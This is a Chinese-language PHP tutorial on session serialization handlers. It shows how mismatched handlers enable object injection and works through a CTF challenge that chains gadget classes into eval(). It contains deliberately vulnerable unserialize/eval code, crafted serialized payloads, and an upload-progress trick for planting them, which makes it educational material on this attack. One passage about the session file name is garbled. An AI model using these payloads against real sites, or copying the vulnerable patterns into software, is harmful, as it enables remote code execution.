PHP 中 Session 反序列化機制
- 黄舟原創
- 2017-02-06 09:38:411130瀏覽
簡介
在php.ini中存在三項配置項：
session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
以上的選項就是與PHP中的Session存儲和序列話存儲有關的選項。
在使用xampp元件安裝中，上述的配置項的設定如下：
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
在上述的配置中，session.serialize_handler是用來設定session的序列話引擎的，除了預設的PHP引擎之外，還存在其他引擎，不同的引擎所對應的session的儲存方式不相同。
php_binary:儲存方式是，鍵名的長度對應的ASCII字元+鍵名+經過serialize()函數序列化處理的值
php:儲存方式是，鍵名+垂直線+經過serialize ()函數序列處理的值
php_serialize(php>5.5.4):儲存方式是，經過serialize()函數序列化處理的值
在PHP中預設使用的是PHP引擎，如果要修改為其他的引擎，只需要加入程式碼ini_set('session.serialize_handler', '需要設定的引擎');。範例程式碼如下：
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); // do something
儲存機制
php中的session中的內容並不是放在記憶體中的，而是以檔案的方式來儲存的，儲存方式就是由設定項session.save_handler來進行決定的，預設是以文件的方式儲存。
儲存的檔案是以sess_sessionid來進行命名的，檔案的內容就是session值的序列話之後的內容。
假設我們的環境是xampp，那麼預設配置如上所述。
在預設配置情況下：
<?php session_start() $_SESSION['name'] = 'spoock'; var_dump(); ?>
最後的session的儲存和顯示如下：
可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2，而在jo86ud4jfvu81mbg28sl2s56c2，而在88685p/pvompapvud2s56c2，而在18856p/pvpvompds>285/p 6c2，文件的內容是name|s:6:"spoock";。 name是鍵值，s:6:"spoock";是serialize("spoock")的結果。
在php_serialize引擎下：
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
SESSION檔案的內容是a:1:{s:4:"name";s:6:"spoock";}。 a:1是使用php_serialize進行序列話都會加上去。同時使用php_serialize會將session中的key和value都會進行序列化。
在php_binary引擎下：
<?php ini_set('session.serialize_handler', 'php_binary'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
SESSION檔案的內容是names:6:"spoock";。由於name的長度是4，所以4在ASCII表中對應的就是EOT。根據php_binary的儲存規則，最後就是names:6:"spoock";。 (突然發現ASCII的值為4的字元無法在網頁上面顯示，這個大家自行去查ASCII表吧)
序列化簡單利用
test.php
?php
class syclover{
var $func="";
function __construct() {
$this->func = "phpinfo()";
}
function __wakeup(){
eval($this->func);
}
}
unserialize($_GET['a']);
?>在11行對傳入的參數進行了序列化。我們可以透過傳入一個特定的字串，反序列化為syclover的範例，那麼就可以執行eval()方法。我們訪問localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那麼反序列化得到的內容是:
object(syclover)[1] public 'func' => string 'echo "spoock";' (length=14)
最後頁面輸出的就是spoock，說明最後執行了我們定義的echo "spoock";方法。
這就是一個簡單的序列化的漏洞的演示
PHP Session中的序列化危害
PHP中的Session的實現是沒有的問題，危害主要是由於程式設計師的Session使用不當而引起的。
如果在PHP在反序列化儲存的$_SESSION資料時使用的引擎和序列化使用的引擎不一樣，會導致資料無法正確第反序列化。透過精心建構的資料包，就可以繞過程式的驗證或是執行一些系統的方法。例如:
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';上述的$_SESSION的資料使用php_serialize，那麼最後的儲存的內容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0: {}";}。
但是我們在進行讀取的時候，選擇的是php，那麼最後讀取的內容是:
array (size=1)
'a:1:{s:6:"spoock";s:24:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)這是因為當使用php引擎的時候，php引擎會以|作為作為key和value的分隔符，那麼就會將a:1:{s:6:"spoock";s:24:"作為SESSION的key，將O:11:"PeopleClass":0:{}作為value，然後進行反序列化，最後就會得到PeopleClas這個類別。 php，2個檔案所使用的SESSION的引擎不一樣，就形成了一個漏洞、
s1.php，使用php_serialize來處理session
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION["spoock"]=$_GET["a"];
us2.php,使用php來處理session
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}當訪問s1. php時，提交以下的資料：
localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}此時傳入的資料會按照php_serialize來進行序列化。 us2.php時，程式會依照php來反序列化SESSION中的數據，此時就會反序列化偽造的數據，就會實例化lemon對象，最後就會執行析構函數中的eval()方法。
CTF
在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下：
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
?>index.php
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>通过代码发现，我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境，构造我们需要执行的自定义的函数。如下：
myindex.php
<?php
class foo3{
public $varr='echo "spoock";';
function execute(){
eval($this->varr);
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
$obj = new foo1();
print_r(serialize($obj));
?>在foo1中的构造函数中定义$varr的值为foo2的实例，在foo2中定义$obj为foo3的实例，在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}这样当上面的序列话的值写入到服务器端，然后再访问服务器的index.php，最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置，具体为，在上传文件时，如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量，就可以将filename的值赋值到session中，上传的页面的写法如下：
<form action="index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>最后就会将文件名写入到session中，具体的实现细节可以参考PHP手册。
那么最终写入的文件名是|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:12:"var_dump(1);";}}}。注意与本地反序列化不一样的地方是要在最前方加上|
但是我在进行本地测试的时候，发现无法实现安恒这道题目所实现的效果，但是最终的原理是一样的。
总结
通过对PHP中的SESSION的分析，对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识，也有助于程序员加强在PHP中的SESSION机制的理解。
以上就是PHP 中 Session 反序列化机制的内容，更多相关内容请关注PHP中文网（www.php.cn）！